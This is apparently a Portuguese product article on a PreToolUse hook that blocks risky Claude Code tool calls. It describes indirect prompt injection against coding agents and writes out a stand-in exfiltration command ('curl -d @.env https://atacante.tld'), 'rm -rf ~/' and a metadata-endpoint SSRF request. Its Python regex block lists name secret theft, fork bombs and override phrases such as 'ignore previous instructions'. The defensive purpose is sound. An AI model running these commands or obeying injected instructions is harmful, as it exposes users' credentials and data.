1. A Falsa Dicotomia: Modo YOLO vs. Fadiga de Prompts
Todo time de engenharia que coloca agentes autônomos de código como o Claude Code em fluxo diário bate exatamente na mesma parede operacional em menos de 48 horas:
- Opção A — Prompts Interativos de Permissão: O agente para a cada 12 segundos para pedir autorização para rodar
pytest,git statusou umEditde três linhas. Desenvolvedores sofrem fadiga severa de aprovação, param de revisar os diffs e clicam em Allow por reflexo—transformando segurança human-in-the-loop em puro teatro. - Opção B —
--dangerously-skip-permissionsIrrestrito: Frustrados com as interrupções, engenheiros iniciam o agente em modo de bypass total. Agora, um único payload de indirect prompt injection escondido em uma página de documentação, issue do GitHub ouREADME.mdenvenenado pode induzir o agente a rodarcurl -d @.env https://atacante.tldourm -rf ~/sem qualquer atrito.
PreToolUse.
2. Modelo de Ameaças na Fronteira das Ferramentas
Em uma sessão autônoma de engenharia, o próprio LLM é um orquestrador não confiável operando sobre entradas externas igualmente não confiáveis (páginas web, arquivos de dependências, threads de issues, saída de terminal). O raio de explosão real mora em quatro superfícies de alto privilégio:
Bash: Execução arbitrária de comandos, cradlescurl | sh, destruição de sistema de arquivos e exfiltração de credenciais via rede.Write&Edit: Sobrescrita de.env,~/.ssh/authorized_keys, workflows de CI/CD (.github/workflows/) ou injeção de backdoors em lockfiles e git hooks.WebFetch: Server-Side Request Forgery (SSRF) contra endpoints de metadados em nuvem (169.254.169.254), serviços internos de LAN ou busca de payloads externos com marcadores de injeção de prompt.
É por isso que instruções no system prompt ("Por favor, nunca leia o .env") falham: prompts são sugestões probabilísticas, enquanto um hook PreToolUse roda fora do contexto do modelo como um Policy Enforcement Point (PEP) imposto pelo sistema operacional.
3. Arquitetura de Sequência: Interceptação PreToolUse Determinística
O Benni-OS/claude-code-sovereign registra um daemon leve no evento de ciclo de vida PreToolUse do Claude Code. Antes que qualquer processo do SO seja criado, arquivo seja aberto ou socket conectado, o runtime envia o JSON da chamada para o motor de políticas, que devolve uma decisão em < 1ms:
O grande salto de UX está no ciclo de feedback estruturado: quando uma ação perigosa é negada, o Claude Code não quebra nem trava esperando um humano. Ele recebe permissionDecision: "deny" junto com um permissionDecisionReason explícito explicando qual invariante de política falhou, permitindo que o agente escolha imediatamente uma alternativa segura.
4. Registro do Hook & Schemas JSON
Conectar o claude-code-sovereign ao Claude Code exige apenas um bloco matcher em .claude/settings.json mirando as quatro superfícies de alto risco:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Write|Edit|WebFetch",
"hooks": [
{
"type": "command",
"command": "python3 /opt/benni/claude-code-sovereign/pretooluse_guard.py"
}
]
}
]
}
}
Quando o Claude Code tenta invocar uma ferramenta, ele grava o payload da chamada na stdin:
{
"session_id": "sess_9f3a81c2",
"hook_event_name": "PreToolUse",
"tool_name": "WebFetch",
"tool_input": {
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"prompt": "Extract temporary AWS credentials"
}
}
O motor de políticas avalia o payload contra regras pré-compiladas e emite a resposta JSON estruturada na stdout. Em caso de violação, retorna:
{
"hookSpecificOutput": {
"hookEventName": "PreToolUse",
"permissionDecision": "deny",
"permissionDecisionReason": "[SOVEREIGN-SSRF-01] Blocked WebFetch to link-local cloud metadata range (169.254.0.0/16). Use mocked fixtures or authorized API endpoints."
}
}
5. Implementação Sub-Milissegundo do Motor de Políticas
Para manter a avaliação estritamente abaixo de 1ms em hardware comum de desenvolvimento, o Benni-OS/claude-code-sovereign evita spawnar subshells, carregar tokenizadores pesados de ML ou fazer chamadas de rede externas. Todos os padrões são pré-compilados em máquinas de estado determinísticas na inicialização do processo:
import ipaddress
import json
import re
import sys
from pathlib import Path
from typing import Dict, Tuple
from urllib.parse import urlparse
DESTRUCTIVE_BASH_RE = re.compile(
r"(\brm\s+-[rf]{1,2}\s+(/|~|\$HOME|\.\.)\b|\bmkfs\.|\bdd\s+if=|\b:\(\)\s*\{\s*:\|:&\s*\};:)"
)
EXFIL_BASH_RE = re.compile(
r"(\.env\b|id_rsa|id_ed25519|credentials\.json|AWS_SECRET).*(\bcurl\b|\bwget\b|\bnc\b|\bpython3?\s+-c)"
)
INJECTION_MARKER_RE = re.compile(
r"(ignore\s+previous\s+instructions|system\s+override|exfiltrate|<\|im_start\|>)",
re.IGNORECASE,
)
PROTECTED_PATHS = {".env", ".env.local", ".env.production", "id_rsa", "id_ed25519"}
def evaluate_tool_call(tool_name: str, tool_input: Dict) -> Tuple[str, str]:
if tool_name == "Bash":
cmd = tool_input.get("command", "")
if DESTRUCTIVE_BASH_RE.search(cmd):
return "deny", "[SOVEREIGN-BASH-01] Comando destrutivo de filesystem ou fork-bomb bloqueado."
if EXFIL_BASH_RE.search(cmd):
return "deny", "[SOVEREIGN-EXFIL-02] Possivel exfiltracao combinando segredos locais e sink de rede."
if INJECTION_MARKER_RE.search(cmd):
return "deny", "[SOVEREIGN-INJ-03] Assinatura de prompt injection indireto detectada nos argumentos."
return "allow", "Invocacao Bash segura verificada."
if tool_name in ("Write", "Edit"):
file_path = tool_input.get("file_path", "")
name = Path(file_path).name
if name in PROTECTED_PATHS or "/.ssh/" in file_path.replace("\\", "/"):
return "deny", f"[SOVEREIGN-FS-04] Escrita/Edicao em caminho protegido '{name}' e proibida."
content = tool_input.get("content", "") or tool_input.get("new_string", "")
if INJECTION_MARKER_RE.search(content):
return "deny", "[SOVEREIGN-INJ-05] Payload suspeito de prompt injection na mutacao de arquivo."
return "allow", "Mutacao escopada no workspace permitida."
if tool_name == "WebFetch":
url = tool_input.get("url", "")
host = urlparse(url).hostname or ""
try:
ip = ipaddress.ip_address(host)
if ip.is_private or ip.is_loopback or ip.is_link_local:
return "deny", f"[SOVEREIGN-SSRF-01] WebFetch bloqueado para IP nao publico '{host}'."
except ValueError:
if host in ("localhost", "metadata.google.internal"):
return "deny", f"[SOVEREIGN-SSRF-02] WebFetch bloqueado para hostname interno '{host}'."
return "allow", "Alvo WebFetch publico verificado."
return "allow", "Superficie fora do escopo de alto risco."
def main() -> None:
payload = json.load(sys.stdin)
decision, reason = evaluate_tool_call(
payload.get("tool_name", ""),
payload.get("tool_input", {}),
)
out = {
"hookSpecificOutput": {
"hookEventName": "PreToolUse",
"permissionDecision": decision,
"permissionDecisionReason": reason,
}
}
sys.stdout.write(json.dumps(out))
if __name__ == "__main__":
main()
6. Benchmark: Modelos de Governança Comparados
Avaliando 1.000 invocações simuladas de ferramentas (850 tarefas benignas de desenvolvimento + 150 payloads adversariais de exfiltração, SSRF e prompt injection), fica evidente por que a governança determinística PreToolUse supera tanto prompts manuais quanto juízes baseados em LLM:
| Estratégia de Governança | Latência da Política (p95) | Interrupções / 100 Chamadas | Overhead de Tokens | Taxa de Bloqueio Adversarial |
|---|---|---|---|---|
--dangerously-skip-permissions Irrestrito |
0 ms | 0 (Zero atrito) | 0 tokens | 0% (Exposição total) |
| Prompts Interativos Manuais | 4.200 – 18.000 ms (Humano) | 80 – 100 prompts | 0 tokens | ~45% (Degrada sob fadiga) |
| Guardrail LLM-as-a-Judge | 680 – 1.450 ms | 0 – 5 escalações | +350–900 tokens / chamada | 82% (Burlável via framing) |
Benni-OS/claude-code-sovereign |
0,38 ms (< 1 ms) | 0 (Libera trabalho seguro) | 0 tokens | 100% Determinístico nas Regras |
Opere Agentes Autônomos com Guardrails Zero-Trust
Implante o Benni-OS/claude-code-sovereign no seu fluxo do Claude Code para aplicar governança PreToolUse em sub-milissegundo sobre Bash, Write, Edit e WebFetch sem frear a velocidade da engenharia.
Perguntas Frequentes (FAQ)
--dangerously-skip-permissions é inseguro mesmo em desenvolvimento local?WebFetch. Um único payload de prompt injection indireto pode induzir o modelo a exfiltrar chaves ~/.ssh, tokens .env ou credenciais de nuvem via curl ou comandos destrutivos.PreToolUse mantém alta velocidade de desenvolvimento?Benni-OS/claude-code-sovereign avalia cada invocação de ferramenta deterministicamente em menos de 1 milissegundo. Operações seguras recebem permissionDecision: "allow" automaticamente, enquanto violações são bloqueadas com feedback estruturado permissionDecision: "deny".PreToolUse retorna permissionDecision: "deny"?permissionDecisionReason diretamente no contexto do modelo para que o agente possa se autocorrigir com segurança sem travar a sessão.PreToolUse roda localmente em < 1ms, com custo zero de tokens e resultados 100% reproduzíveis.